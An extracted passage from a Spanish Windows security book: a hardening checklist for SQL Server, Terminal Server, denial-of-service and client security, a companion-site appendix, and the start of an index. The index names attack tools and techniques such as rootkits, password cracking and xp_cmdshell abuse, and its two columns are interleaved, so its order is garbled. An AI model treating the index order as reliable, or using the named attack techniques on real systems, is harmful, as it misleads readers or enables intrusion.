• ¡Actualice a SQL Server 2005 o posterior! Y manténgase actualizado con los paquetes
de servicio.
• Implemente el control de acceso a red apropiado para aislar SQL Server. Los servidores de
SQL sólo deben tener conectividad directa con las máquinas que solicitarán sus servicios.
Por ejemplo, si SQL Server es el almacén de datos para su tienda Web, ninguna otra
máquina, aparte de los servidores Web, debe tener conectividad directa con SQL Server.
• Considere con todo cuidado la configuración del modo de seguridad de SQL Server.
Aunque el uso de autentificación de Windows para SQL Server parezca la opción más
segura, no siempre es factible en ciertos entornos. Tómese el tiempo de evaluar si puede
usarla y, en ese caso, cambie el modo de inicio de sesión de SQL para que los usuarios
no puedan iniciar sesión utilizando pares nombre de usuario/contraseña. Esto también
lo liberará de tener que incluir sus credenciales en cadenas de conexión o incrustarlas
en aplicaciones cliente/servidor. Si usa el modo combinado de autentificación, cree
un sistema de administración de credenciales equivalente para asegurar que las
contraseñas cumplan los criterios de la directiva y se cambien de manera regular.
• Habilite el registro de autentificación de SQL Server. Como opción predeterminada, este
registro está deshabilitado en SQL Server. Puede remediar esta situación con un solo
comando, y se recomienda que lo haga de inmediato. Use el Administrador corporativo
y busque bajo Propiedades del servidor, empleando Query Analyzer u osql.exe (el
siguiente es un comando de una línea cortado debido a restricciones de ancho de página):
Master..xp_instance_regwrite N’HKEY_LOCAL_MACHINE’,
N’SOFTWARE\Microsoft\MSSQLServer’,N’AuditLevel’, REG_DWORD,3
• Cifre los datos, cuando sea posible. SQL Server 2005 introdujo la infraestructura de
cifrado nativa para ayudarle a lograr esto. Antes de SQL 2005, no se proporcionaba
soporte nativo para cifrar campos individuales; sin embargo, puede implementar
fácilmente su propio cifrado empleando la API Crypto de Microsoft y luego colocando
los datos cifrados en su base de datos. Al final del capítulo 9 se presenta una lista

de más soluciones de terceros; éstas pueden cifrar datos al agregar funcionalidad al

servidor de SQL mediante procedimientos almacenados extendidos (úselos bajo su
propio riesgo).
• Utilice el principio de la menor cantidad de privilegios. ¿Por qué es que tantas
aplicaciones de producción están ejecutándose con la cuenta sa o bajo privilegios de
propietario de base de datos? Durante la instalación de su aplicación, tómese el tiempo
de crear una cuenta de bajos privilegios para la conectividad diaria. Puede tomarse un
poco más de tiempo para crear permisos individuales y otorgarlos a todos los objetos
necesarios, pero sus esfuerzos se verán recompensados cuando alguien secuestre su
aplicación y golpee contra un muro de derechos insuficientes para aprovechar la situación.
• No ejecute SQL en el contexto de una cuenta de usuario privilegiada. Tómese el
tiempo de crear una cuenta de usuario única (que no sea de Administrador) e ingrese
las credenciales de usuario durante la instalación. Esto restringirá a los usuarios que
ejecutan procedimientos almacenados extendidos como administrador de sistema de
volverse de inmediato administradores de dominio o de sistema operativo local, o la
cuenta del sistema (LocalSystem).
• Realice validación completa de entradas. Nunca confíe en que la información que se
devuelve del cliente es aceptable. Es posible omitir la validación del lado del cliente, de
modo que su código de JavaScript no lo protegerá. La única manera de estar seguro de
que los datos publicados desde un cliente no van a causar problemas con su aplicación es
validarlos apropiadamente. No es necesario que la validación sea complicada. Si un campo
de datos debe contener un número, verifique el usuario ingresó uno y que se encuentra en
un rango aceptable. Si el campo de datos es alfanumérico, asegúrese de que la longitud y
el contenido de la entrada sean aceptables. Las expresiones regulares son una herramienta
estupenda para revisar la entrada de caracteres no válidos, aunque los formatos sean
complejos, como en direcciones de correo electrónico, contraseñas y direcciones IP.
• Use los procedimientos almacenados de manera inteligente. Los procedimientos
almacenados dan a sus aplicaciones un “uno-dos” de rendimiento y seguridad
agregados. Esto se debe a que precompilan los comandos SQL, parametrizan las
entradas (y las convierten de tipo forzoso) y permiten que el desarrollador proporcione
acceso directo al objeto al que se hace referencia en el procedimiento. El error más
común cuando se implementan procedimientos almacenados consiste en ejecutarlos
mediante la construcción de una cadena de comandos y enviar la cadena fuera
de SQL Server. Si implementa procedimientos almacenados, tómese el tiempo de
ejecutarlos empleando los objetos de comando ADO, de modo que pueda llenar
apropiadamente cada parámetro sin la posibilidad de que alguien inyecte código en su
cadena de comandos. Y recuerde eliminar por completo procedimientos almacenados
poderosos como xp_cmdshell. En el capítulo 9 se presenta una lista de procedimientos
almacenados extendidos que deben eliminarse.
Precaución
La eliminación o restricción del acceso a procedimientos almacenados extendidos puede poner a
SQL Server en un estado no soportado. Póngase en contacto con su representante de soporte en
Microsoft para verificarlo.
• Use SQL Profiler para identificar puntos débiles. Una técnica excelente para encontrar
agujeros de inyección de SQL, que consiste en inyectar una cadena de explotación en

campos de su aplicación mientras se ejecuta SQL Profiler y se monitorea cuál servidor

está viendo. Para facilitar esto, es útil usar un filtro en el campo TextData de SQL Profiler
que coincida con su cadena de explotación. Consulte el capítulo 9 para conocer ejemplos.
• Use alertas para monitorear posible actividad maliciosa. Al implementar alertas en
eventos clave de SQL Server (como inicios de sesión fallidos), es posible avisar a los
administradores de que algo está mal. Un ejemplo es crear una alerta sobre el ID de
evento 18456 (intento fallido de inicio de sesión) que contienen el texto ’sa’ (incluidas
las comillas para que la alerta no se dispare cada vez que el usuario “Lisa” inicie
sesión, por ejemplo). Esto permitiría que se alerte a un administrador cada vez que
alguien haga un intento fallido por acceder a SQL Server como sa y podría ser un
indicativo de que se está realizando un ataque de fuerza bruta.
CON LA SEGURIDAD DE TERMINAL SERVER
He aquí algunas consideraciones reunidas de todo el libro.
• Considere la reasignación del puerto del servicio Terminal Server (TS) al modificar la
siguiente clave del registro:
HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\
RDP-Tcp Value : PortNumber REG_DWORD=3389
Cree un documento de conexión de escritorio remoto (.rdp) para configurar los clientes
que se conectarán al puerto personalizado, o use una redirección de puerto en el cliente.
El cliente TS ActiveX no puede usarse para conectarse a un puerto modificado.
• Implemente una nota legal personalizada para inicios de sesión de Windows. Esto
puede hacerse al agregar o editar el valor de Registro que se muestra aquí:
LegalNoticeCaption REG_SZ [leyenda personalizada]
LegalNoticeText REG_SZ [mensaje personalizado]
Windows 2000 y posteriores desplegarán una ventana con la leyenda personalizada y el

mensaje proporcionados por estos valores después de que el usuario oprime
ctrl+alt+supr y antes de que se presente el cuadro de diálogo de inicio de sesión, aun-
que se haga esto mediante TS (asegúrese de que se ha aplicado la corrección Q274190).
• Cambie el nombre de la cuenta Administrador y asígnele una contraseña muy
sólida. (Recuerde que la verdadera cuenta Administrador no puede bloquearse
interactivamente, vía TS). Cree una cuenta Administrador de señuelo y audite los
eventos de inicio de sesión (como mínimo).
• Asegúrese de que se ha establecido un umbral de bloqueo de cuenta para todas las
cuentas de usuario y que se obligue a los usuarios a establecer contraseñas complejas.
• Audite los inicios de sesión fallidos y correctos y revise de manera regular los registros
(ya sea manualmente o mediante un proceso automatizado) para monitorear la
adivinación de contraseñas de fuerza bruta y otros ataques.

• No permita que usuarios no confiables inicien sesión vía TS, lo que es equivalente
a inicios de sesión interactivos. Use el grupo Usuarios de escritorio remoto para
administrar usuarios autorizados.
• Requiere seguridad de cliente de 128 bits.
• Recuerde que la seguridad de TS varía dependiendo del modo, sea Administración o
Aplicación. En el modo Aplicación, los usuarios tendrán casi el equivalente de inicio de
sesión interactivo de ubicaciones remotas, de modo que otros controles como SRP deben
implementarse para asegurar que no pueden ejecutarse aplicaciones no aprobadas.
CON LA NEGACIÓN DEL SERVICIO
He aquí algunas consideraciones para mitigar ataques de negación de servicio (DoS, Denial of
Service):
• Emplee configuraciones apropiadas en dispositivos de red que realicen carga de

archivos para realizar estrangulamiento.
• Manténgase al día con correcciones y paquetes de servicio.
• Configure los parámetros de TCP/IP para mitigar ataques de DoS para servidores
que dan a Internet. En la siguiente tabla se presenta una lista de recomendaciones
proporcionadas por Microsoft mediante varias referencias anotadas. (La referencia
a Regentry.chm alude a la referencia técnica de Windows 2000 Reskit al Registro en
formato de archivo de ayuda HTML compilado; si el kit de recursos está instalado, sólo
ejecute regentry.chm, y el archivo se abrirá).
• Tome nota de que estos parámetros sólo son pertinentes para Windows 2000 y
posteriores.
Precaución
Estas configuraciones están diseñadas para proteger un sitio Web de alto volumen, muy atacado.
Pueden resultar muy agresivos (o no lo suficientemente agresivos) para otros escenarios.
Valor del Registro (bajo HKLM\Sys\CCS\Services\Tcpip\ Configuración recomendada Referencia

Parameters\)
SynAttackProtect 2 Q142641
TcpMaxHalfOpen 100 (500 en Advanced Server) Regentry.chm
TcpMaxHalfOpenRetried 80 (400 en Advanced Server) Regentry.chm
TcpMaxPortExhausted 1 Regentry.chm
TcpMaxConnectResponseRetransmissions 2 Q142641
EnableDeadGWDetect 0 Regentry.chm
EnablePMTUDiscovery 0 Regentry.chm
KeepAliveTime 300,000 (5 mins) Regentry.chm
EnableICMPRedirects 0 Regentry.chm
Interfaces\PerformRouterDiscovery 0 Regentry.chm
(NetBt\Parameters\)NoNameReleaseOnDemand 1 Regentry.chm

Algunos parámetros adicionales relacionados con DoS aparecen en la lista siguiente:
Clave del registro Valor Configuración recomendada Referencia

(bajo HKLM\System\
CurrContrlSet\
Services)
\Tcpip\Parameters\ EnabledCPMRedirect REG_DWORD=0, el sistema Q225344
hace caso omiso de los redirec-
cionamientos de ICMP
EnablesecurityFilters REG_DWORD=1 habilita el fil- Regentry.chm
tro de TCP/IP, pero no establece
puertos ni protocolos
DisableIPSourceRouting REG_DWORD=1 deshabilita Regentry.chm
la capacidad del remitente de
designar la ruta IP que toma un
datagrama en la red
TcpMaxData Retransmis- REG_DWORD=3 establece Regentry.chm
sions cuántas veces retransmite TCP
un segmento de datos descono-
cido en una conexión existente
AFD\Parameters EnableDynamicBacklog REG_DWORD=1 habilita la Q142641
característica de registro inverso
dinámico
MinimumDynamic Bac- REG_DWORD=20 establece el Q142641
klog número mínimo de conexiones
libres permitidas en un extremo
que escucha
MaximumDynamic REG_DWORD=20000 establece Q142641
Backlog el número máximo de conexio-
nes libres además de las que
se encuentran en estado medio
conectado (SYN_RECEIVED)
DynamicBacklog- REG_DWORD=10 establece el Q142641
GrowthDelta número de conexiones libres
que se crean cuando son necesa-
rias conexiones adicionales
SEGURIDAD DEL CLIENTE DE INTERNET

He aquí algunas consideraciones reunidas del capítulo 10:
• Habilite la firewall personal con mínimas aplicaciones permitidas, tanto entrantes

como salientes.

• Ejecute con la menor cantidad de privilegios. Nunca inicie sesión como Administrador
(o una cuenta equivalente con privilegios elevados) en un sistema que usará para
explorar Internet o leer correo electrónico.
• Todo el software de cliente está actualizado en todos los parches de seguridad de

software relevantes (actualizaciones automáticas, como el servicio de actualizaciones
automáticas de Microsoft, se recomiendan fuertemente).
• El software antivirus está instalado y configurado para rastrear en tiempo real (sobre
todo correos electrónicos entrantes) y mantenerse actualizado automáticamente.
• Las utilerías antiadware/spyware y antiphishing están instalados, además del

antivirus (suponiendo que el antivirus aún no tiene estas características).
• Configure la seguridad del cliente de Internet de manera conservadora; por ejemplo,

la applet del Panel de control Opciones de Internet de Windows (también accesible
mediante IE y Outlook/OE) deben configurarse como se indicó en el capítulo 10.
• Si se configuran por separado, asegúrese de que otro software de cliente (¡sobre todo
correo electrónico!) usa la configuración de seguridad más conservadora (por ejemplo,
la zona Sitios restringidos en clientes de correo electrónico de Microsoft).
• Configure los programas de productividad de oficina de la manera más segura posible;

por ejemplo, establezca la seguridad de macros de Microsoft Office en Muy alto bajo
Herramientas | Macro | Security.
• Está habilitada la administración de cookies dentro del explorador o mediante una

herramienta de terceros como CookiePal.
• Deshabilite la inclusión en caché de datos de SSL.
• El software de correo electrónico está configurado para leer en texto simple.
• El bit de término se establece sobre controles ActiveX innecesarios.
• Cambie las configuraciones predeterminadas del sistema operativo (por ejemplo, en

lugar del C:\Windows predeterminado, instale con un nombre de carpeta inusual de
Windows como C:\Root).
• No sea crédulo. Considere las solicitudes y transacciones en Internet con gran

escepticismo. En el caso de URI confidenciales (como las del banco en línea), escriba
direcciones manualmente o use los conocidos favoritos/Marcadores, y nunca haga clic
en hipervínculos.
• Tenga los dispositivos de su equipo físicamente seguros (sobre todo los dispositivos
móviles como laptops, Blackberrys y teléfonos celulares).

AUDÍTESE USTED MISMO

El tema medular de este libro es que nunca puede tener la confianza de que su sistema esté real-
mente asegurado sin revisarlo usted mismo. La evaluación continua de la seguridad es crítica en
los entornos de trabajo de 24 horas al día los 7 días de la semana de la actualidad. ¡No baje la
guardia!
• Siga de manera regular la metodología delineada en este libro para auditar su propio
cumplimiento de las recomendaciones de esta lista.
• Si la tarea de auditoría propia es muy pesada, contrátela con un proveedor externo
independiente de servicios de seguridad.

APéndice B
L S I T I O
R C A D E
A C E L I B R O
D E L
WEB G L É S
EN IN
421
B_SCAMBRAY_APEND. B.indd 421 7/28/08 7:36:42 PM

L
a seguridad en Windows es una disciplina que cambia rápidamente, y reconocemos que
la palabra impresa a menudo no es el medio más adecuado para mantenerse actualizado
con todos los nuevos acontecimientos en esta vibrante área de investigación.
Por tanto, hemos implementado un sitio de World Wide Web que lleva registro de nueva in-
formación relevante para los temas analizados en este libro, junto con erratas y una compilación
de las herramientas de dominio público, secuencias de comandos y archivos de configuración
que hemos cubierto en todo el libro. La dirección de ese sitio es:
http://www.winhackingexposed.com
El sitio también proporciona un foro para hablar directamente con los autores vía correo
electrónico:
joel@winhackingexposed.com
Esperamos que regrese al sitio con frecuencia mientras lee los capítulos para ver y actualizar
materiales, obtener acceso a herramientas que mencionamos y mantener el paso con el siempre
cambiante rostro de la seguridad en Windows. De otra manera, nunca sabrá cuáles nuevos de-
sarrollos pueden poner en peligro su enfermedad antes de que pueda defenderse de ellos.
A menos que se indique de otro modo específicamente, las herramientas disponibles en www.
Nota winhackingexposed.com no fueron producidas por los autores, que no ofrecen garantías ni reclamos
sobre su funcionalidad, ni asumen ninguna responsabilidad por consecuencias inesperadas por su
uso o mal uso.
B_SCAMBRAY_APEND. B.indd 422 7/28/08 7:36:43 PM

índice
$ (signo de pesos), 28 contraseñas, 37, 208-210
010 Editor, 177 descrito, 107
4Suite XML, paquete, 171 enumeración, 107-111
permisos, 109-110
restricción de acceso a, 412
▼ A SAM y, 39-41
servidores DNS y, 101-103
Absinthe, herramienta, 276-277, 301-302 ActiveX
acceso ataques a, 322-323
a disco simple, 251 característica opt-in, 324
al usuario con menores privilegios. Véase contramedidas, 324
Control de cuentas de usuario deshabilitación, 337
ataques de acceso de dominio cruzado, 325-326 Internet Explorer y, 325-327
acceso directo a memoria (DMA), 359 activos, 3-4
acceso remoto de información digital, 3-4
contramedidas, 197-198 actualizaciones. Véase también correcciones;
gráfico, 194-196 parches; paquetes de servicio
recopilación de información y, 54 desempaque, 172-173
acceso Web a Outlook (OWA), 84 servicio de actualización de software (SUS), 409
Achilles, herramienta, 298 Windows Update (WU), 307-308
ACL (listas de control de acceso) Acuerdo de licencia de usuario final (EULA), 333
la menor cantidad de privilegios y, 11 AD. Véase Active Directory
listas de control de acceso del sistema, 373-374 Ad-Aware, herramienta, 334
listas de control de acceso obligatorio, 372-373 adivinación de contraseñas
protección de recursos de Windows, 400 ataques de diccionario, 123-135
Acrobat XSS, ataques, 321-322 bloqueo de cuentas y, 119-120, 130-133
Acta de Portabilidad y responsabilidad de seguros mé- bucles FOR, 122-125
dicos (HIPAA), 6 con enumeración, 89-90, 118-119
Active Directory (AD) contramedidas, 128-135
bosques/árboles/dominios, 41-46 cuenta Administrador, 121-137
423
I_SCAMBRAY_INDICE.indd 423 7/28/08 9:59:39 PM

cuentas de invitado y, 119-120 aleatorización del diseño del espacio de

herramienta SMBGrind, 126-127 direcciones (ASLR), 181-183, 398-399
herramientas de auditoría de NetBIOS alertas, SQL Server, 314, 416
(NAT), 125-126 Alerter, servicio, 265-266
manuales, 121-122 algoritmo para hash, 39-41
revisión general, 117 almacenamiento protegido, herramienta PassView,
Terminal Server, 135-137 205, 206, 207
ADMIN$, recurso compartido, 135 Almacenamiento protegido, servicio, 204-205
Administración de derechos digitales (DRM), 233 amenazas
administración de riesgo, 3-5, 13 asignación de prioridades, 4
administración de sucesos de seguridad (SEM), cambio de entorno, 229-235
132 amenazas, activos y vulnerabilidades
administración de sucesos de seguridad e informa- operacionalmente críticos (OCTAVE), 3
ción (SIEM), 132 American Registry for Internet Numbers (ARIN),
administrador, cuenta clonada, 266-267 56-57
Administrador de configuración, 287 análisis de vulnerabilidad temporal, 297
administrador del control de servicios (SCM), 23, analizador de seguridad de línea de base de
260-261, 380-382 Microsoft (MBSA), 173
Administrador de cuentas de seguridad (SAM), Andrews, Chip, 284, 285
37, 39-41, 266 ANI, archivos, 177-183
Administrador de dispositivos, 258 ANI, encabezados, 178-179
Administrador de objetos, detección de nombres .ani, extensión, 319
de espacios, 260 ANI, explotaciones, 181-183
Administrador de tareas, 236 ANI (cursor animado), vulnerabilidad, 319
administrador del sistema (sa), cuenta, 307-309 ANONYMOUS LOGON, identidad, 109-110
Véase también administrador, cuentas antirootkit.com, 253
administradores, grupo antivirus, software, 247
comprobaciones de antecedentes de, 134 anuncios emergentes, 332-334
confianza en, 44 Apache, servidor Web, 413
Control de cuentas de usuario y, 375-377 API (interfaces de programación de aplicaciones)
cuentas de laboratorio/prueba, 118 Administrador de credenciales, 206-207
identificación, 86 Crypto, 205, 414
identificación de miembros de, 86 de kernel, 227
revisiones de antecedentes de, 134 del administrador de credenciales, 206-207
Administradores de dominio, cuenta, 42, 43, 118- DPAPI, 205-210
119 intercepciones, 255
Administradores de dominio, grupo, 86 kernel, 227
Adobe Acrobat XSS, ataques, 321-322 llamadas, 123
ADS (flujos de datos alternos), 268 MAPI, 84
adware, 332-334 nativa de Windows, 236
Aeropeek, olfateador inalámbrico, 275 WNetAddConnection2, 123
agente de recuperación, 350-353 aplicaciones. Véanse también aplicaciones específi-
agujeros de inyección de SQL, 313-314, 415 cas
aislamiento de la sesión 0, 386-387 bloqueo de acceso a, 10
alcances cliente. Véase aplicaciones de cliente
de cuenta, 42 malware, 229, 230, 232, 235
del dominio local, 42 privilegios y, 35-36, 303-304
universal, 42 rastreo de vulnerabilidades, 310

índice 425
seguridad y, 8 Ashton, Paul, 203-219

uso de credenciales, 205-210 Asia-Pacific Network Information Center
Web, 413-414 (APNIC), 56
APNIC (Asia-Pacific Network Information asignaciones de bloque de direcciones de red, 55
Center), 56 Asistente para la optimización de motor de base
AppScan, herramienta, 298 de datos, 287
árboles, 41-46 ASP (páginas activas de servidor), 290-292
archivos .asp, extensión, 296
ANI, 177-183 ASP.NET, 49
archivos temporales de Internet, 339 .aspx, extensión, 296
búsqueda, 198-199 ASLR (aleatorización del diseño del espacio de
cifrados, 350-354 direcciones), 181-183, 398-399
de directiva de seguridad, 49 atacantes. Véase hackers
GIF, 263-264 ataques
lectura con agente de recuperación, 350-353 a medios, 359-363
Microsoft Office, 235, 320, 321 lógicos, 18
ocultos, 240, 247, 254, 259, 268 Aucsmith, David, 232
PDF, 321, 322 auditoría, 46-49
PowerPoint, 320 bloqueo de cuentas y, 119
precauciones, 320 característica de criptografía, 47-48
protección, 399-402 importancia de, 420
protección física de, 310 listas de verificación para, 411
.RAR, 230 objetos, 411
recuperación de datos de archivos .NET Framework, 48-49
temporales, 355-358 revisión general, 411
SAM, 348-349 sucesos de falla en el inicio de sesión,
Archivos temporales de Internet (TIF), 339 131-132
arco iris, tablas, 211, 216 sucesos, 46-47, 111
arcserve, cuentas de usuario, 122 autentificación. Véase también contraseñas;
ARIN (American Registry for Internet Numbers), privilegios
56-57 de Windows, 137-155, 278
ARP (protocolo de resolución de direcciones), desafío/respuesta, 37-38
142, 144 fichas. Véase fichas
arquitectura de seguridad de Windows, 15-52 Kerberos. Véase Kerberos, autentificación
Véase también seguridad LM, 140-148
árboles, 41-46 NTLM, 38, 39, 116
ataque de modo de kernel, 16, 17-18 NTLMv2, 38, 39, 116, 146-147
ataque de modo de usuario, 16, 17, 18 paquete IPSec, 201
auditoría, 46-49 red, 36-39
bosques, 41-46 registro, 279-280, 310-311, 414
control de acceso. Véase control de acceso revisión general, 31-32
directivos de seguridad, 19-31 sólo Windows, 309
dominios, 41-46 SQL, 275, 278
revisión general, 16-18 SQL Server, 308, 310-311
ASCII, caracteres, 129 Windows, 137-155, 278
asegurables, objetos, 19 autentificación integrada de Windows sobre HTTP,
ASEP (puntos de extensibilidad de inicio automá- 147
tico), 333-334 Authenticode, 322, 324

autoridad de seguridad local. Véase LSA BobCat, herramienta, 302, 303

autorización, 11 boleto que otorga boleto (TGT), 138
AutoRun, ataques, 360-361 BootExecute, entrada del Registro, 258-259
bootkits, 234, 250, 251, 359-360
Véase también rootkits
▼ B bootroot, rootkits, 232, 250, 359-360, 371
BootRootKit, 359-360
barridos de ping, 60-61, 67 bosques, 41-46
Bartlett, Thomas, 348 “botón rojo”, vulnerabilidad, 85
base de información de administración (MIB), Brubacher, Doug, 255
104-105 bucle FOR, ataques, 123-125
Basel II, 6 búferes de búsqueda de traducción (TLB), 244-247
Baseline Security Analyzer, 409 búsquedas
bases de datos de archivos, 198-199
ARIN, 56-57 en grupos de noticias, 282, 283
construcción de cadenas y, 314-315 Butler, James, 228-229, 231, 232, 252
de hackeo de Google, 59 bytes, 236
extracción de datos, 276-277 de código, 236
funciones de la base de datos de usuario, de datos, 236
279BCP/DR (planeación de la
continuidad del negocio y recuperación
de desastres), 9
funciones, 279
Google Hacking Database, 59
▼ c
OLE, 278, 297 caballos de Troya
relacionales, 274 bancarios, 233
SAM, 94 inicio de sesión, 200
BDE. Véase Cifrado de unidad BitLocker caché
BDS (Binary Diffing Suite), herramienta, 173-181 contraseñas de cuenta de servicio, 24
BeatLM, herramienta, 143, 144 contraseñas de dominio, 204
Becher, Michael, 359 de inicio de sesión de dominio, 353-354
Berglind, Rikard, 355 de procesador, 244-247
Bezroutchko, Alla, 81 envenenamiento, 142, 144
BHO (objetos auxiliares de explorador), 334 inclusión en caché de inicio de sesión, 204
bibliotecas de red (netlibs), 277-278 inicio de sesión de dominio, 353-354
bits de cierre, 324 LSA, 202, 409
BlackLight, rootkit, 233 procesador, 244, 247
Blaster, gusano, 156-158 cadenas
BLINK, puntero, 241-243 de comunidad, 103-107. Véase también
bloque de mensajes de servidor. Véase SMB contraseñas
bloqueos, 119-120, 130-133 de conexión, 283, 295-296
de cuenta, 119-120, 130-133 de explotación, 313-314
de equipo local, 326 Cain & Abel, herramienta, 203, 214, 216-218, 294
Blue Pill, rootkit, 233, 262 campo de datos descifrados (DDF), 350-351
Bluejacking, 290 campo de recuperación de datos (DRF), 350-351
Bluesnarfing, 290 canales seguros, 29
Bluetooth, ataques, 290 canonicalización, 160, 329-332
BMG First4Internet, Rootkit, 247 de URL, 329-332

índice 427
CANVAS, marco conceptual de explotación, 159 SQL Server, 281, 294-295, 311, 414
capa de conexiones seguras. Véase SSL cipher.exe, herramienta, 358
capacitación en seguridad, 8 CIS (servicios de Internet COM), 156-158
capas de acceso a datos, 309-310 Clásica, opción, 38-39
carpetas clave de cifrado de archivo (FEK), 350-353
archivos temporales de Internet, 263 clave del sistema (SYSKEY), 39-41
cifradas, 358 clave maestra de volumen (VMK), 234
lista de contenido, 239-240 claves
ocultas, 230, 259, 267-268 criptográficas, 47-48
permisos, 267-268 de cifrado de volumen completo, 234
CD, 232 de recuperación, 352
CD-ROM, 360 maestra de usuario, 48
unidad, 360-361 privada de usuario, 48
centro de distribución de claves (KDC), 138 pública de usuario, 48
centro de distribución de claves de Kerberos públicas/privadas, 47-48
(krbtgt), cuenta, 23 cliente avanzado de Terminal Services (TSAC),
centro de respuesta de seguridad de Microsoft, 5 135-136
Certificados, complemento MMC, 47, 48 cliente de servicios de directorio (DESClient), 38,
Check Disk, utilería, 258 147
chkimg, comando, 255 cliente, aplicaciones, 317-343
chntpw, herramienta, 348-349, 351 adware, 332-334
CIA (confidencialidad, integridad y contramedidas generales, 334-340
disponibilidad), 3-4 explotaciones, 319-327
ciclo de vida de la seguridad, 2-10 ingeniería social, 327-334
Cifrado de unidad BitLocker (BDE) 368-372 promiscuos, 289
Bootroot y, 232 referencias, 340-343
configuraciones, 369-370 spyware, 328, 332-334
descrito, 368 suplantación de identidad, 328-332
inicio seguro, 251 Windows, 85
Módulo de plataforma confiable (TPM), CLR (motor en tiempo de ejecución de lenguaje
370-372 común), 48-49
protección de ataques fuera de línea, cmd.exe, comando, 193-194
354-363 código
protección de contraseñas, 234 Authenticode, 322, 324
SQL Server y, 311 develamiento de vulnerabilidades, 295
cifrado. Véase también sistema de cifrado de firma de código en modo de kernel, 250
archivos fuente, 295
archivos, 350-354 generación, 309-310
carpetas, 358 HTML. Véase HTML, código
cifrado de protocolo, 295 malicioso, 359-360
clave de cifrado de archivo (FEK), 350-353 T-SQL. Véase T-SQL, código
clave de cifrado de volumen completo, 234 Unicode, 264-265
de protocolo, 295 comandos. Véase también comandos específicos
discos duros. Véase Cifrado de unidad ejecución, 16
BitLocker SQL, 296-306, 313-314
estándar extendido de cifrado de datos, 350 Comentario, campo, 118
nativo, 281 compartimentalización, 12
olfateo de paquetes y, 294-295 Compartir archivos e impresoras, 97, 98

compilador, 387-399 extracción de, 202-210

compmgmgt.msc, 142-143 hashes. Véase hashes
comprobación de integridad, 313 imposición de contraseñas sólidas, 128-130
computación de red virtual (VNC), 195 LM, 140-147, 150
comunicaciones SMB, 147 NTLM, 143-145, 150
conectado a NetBIOS, 77 predeterminadas, 119
conexiones reciclaje, 12
ocultas, 230 recuperación/volcado en Internet Explorer,
servidores Web, 310 206
SQL Server, 278 remotas, 219
WNetAddConnection2, 123 SAM y, 37, 208-210, 348-349
confianzas sensibles a mayúsculas y minúsculas, 122
bosques, 45-46 SQL Server, 278-279, 288-296, 308-309
limitación, 12 SYSKEY, 352
no transitivas, 43 tabla sysusers, 279
transitivas, 43 texto simple, 118
confidencialidad, integridad y disponibilidad triturado de, 127, 135-137
(CIA), 3-4 volcado de LSA, 202-204
configuración de seguridad mejorada (ESC), 339 volcado desde el Registro, 208-210
consultas contraseñas de administrador
LDAP, 107, 109 adivinación, 121-137
parametrizadas, 304-306 anulación, 348
SQL, 286-287 archivo SAM y, 348-349
utilerías de consulta SQL, 286.287 consideraciones, 121
contraseñas. Véanse también autentificación; cuenta sa, 307-309
cadenas de comunidad SQL Server, 308-309
acceso de disco duro, 351 control de acceso a medios (MAC), 145
Active Directory, 208-210 control de acceso, 31-41
adivinación. Véase adivinación de basado en función, 11
contraseñas control de acceso a medios, 145
administrador. Véase administrador, fichas, 32-36
contraseñas modelo de control de acceso de Windows,
almacenadas, 24, 208 33-34
BIOS, 234 niveles de integridad, 35-36
bloqueo de cuentas y, 119-120, 130-133 obligatorio, 35
cambio, 119, 121 redes, 31, 36-39, 386
caracteres ASCII no imprimibles en, 129 revisión general, 19, 31-32
combinaciones comunes nombre de Control de cuentas de usuario
usuario/contraseña, 122 control de cuentas de usuario con, 375-377
complejidad de requisitos para, 128-130, 139 fichas, 375
cuentas de equipo, 28-30 panel, 36
cuentas de servicio, 24 privilegios de administrador y, 375-377
directrices, 11, 128-129, 139, 218-219 procesos, 375
dominio, 204 revisión general, 35-36, 375
en caché, 24, 204 Windows Vista, 249-250
en el campo Comentarios, 118 control de integridad, 372-374
en secretos de LSA, 24 control de oportunidades, 313
esquemas XO, 293-294 control del sistema

índice 429
control interactivo remoto, 191-201 correcciones, 307, 408-409. Véase también parches;
descubrimiento de contraseñas. Véase paquetes de servicio, actualizaciones
descubrimiento de contraseñas correo basura, 233
extracción de contraseñas, 202-210 correo electrónico
información general, 186, 220-221 a servidores fraudulentos, 144
referencias, 221-224 ataques de suplantación de personalidad,
transferencia de herramientas de ataque a, 233, 235, 328-332
186-191 contacto con el autor de este libro, 422
control interactivo, 191-201 correo basura, 233
remoto, 191-201 datos adjuntos, 320
control obligatorio de integridad (MIC), 35-36, 339 gusanos de envíos masivos de correo, 263
control remoto gráfico, 194-196 hipervínculos en, 332
controladores obtención de credenciales de LM/NTLM,
captura de paquetes WinPcap, 142-143 144
comparación, 259 texto simple, 331-332
firma de controlador de kernel, 18 y páginas Web maliciosos, 322, 332
no firmados, 250 zona Sitios restringidos, 338-339
ocultamiento, 243 credenciales
residente en el kernel, 17 agente de recuperación, 350-351
rootkits, 234, 252, 256-258 aplicaciones, 205-210
controladores de dispositivo residentes en kernel, hashes y, 219-220
17 LM/NTLM, 144
controladores de dominio (DC), 41-46 SQL Server, 303-304
clave maestra de copia de seguridad/ usuarios, 3, 281
restauración, 48 credenciales.txt, archivo, 124-125
configuración, 412-413 criptografía, 47-48
cuentas de equipo y, 28-30 Crypto, API, 205, 414
EFS y, 352-354 CSS (hojas de estilo en cascada), 325
enumeración, 81-82 ctrl+alt+supr, señal, 16, 31-32
integrados y, 22 cuentas. Véanse también cuentas específicas
requisitos para, 410 ACE (entradas de control de acceso),
respuestas LM y, 145-146 376-377
seguridad física de, 412 administrador. Véase administrador, cuentas
controles ActiveX, 322-324, 336-337 copia de seguridad, 119, 121, 122
convención universal de asignación de nombres de dominio, 118, 311-312, 409
(UNC), 303-304 de equipo, 28-30, 35
cookies de grupo, 119
ataques de dominio cruzado, 325 de invitado, 119-120
de GS, 181-183, 388-391 de laboratorio, 118, 122
de pila (GS), 181-183, 388-391 de prueba, 118-122
de seguridad, 388-391 de servicio. Véase servicio, cuentas
revisión de, 275-276 de usuario. Véase usuario, cuentas
seguridad, 388-391 deshabilitadas, 119-120, 130-131, 133-134
SQL Server y, 275-276 integradas, 22-23
copias de seguridad locales. Véase locales, cuentas
de cuentas de usuario, 119, 121, 122 por lotes. Véase cuentas de servicio
privilegiadas, 119 root, 122
CORE IMPACT, marco conceptual de explotación, cuentas de administrador
159 administrador del sistema (sa), 307-309

bloqueo de cuentas, 132-133

cambio de nombre de, 132-133, 136 ▼ d
clonadas, 266-267
DACL (lista de control de acceso discrecional), 19,
comparación con la cuenta SYSTEM, 22, 23
23, 34, 376-377
contraseñas. Véase contraseñas de
daño posible, capacidad de reproducción y de
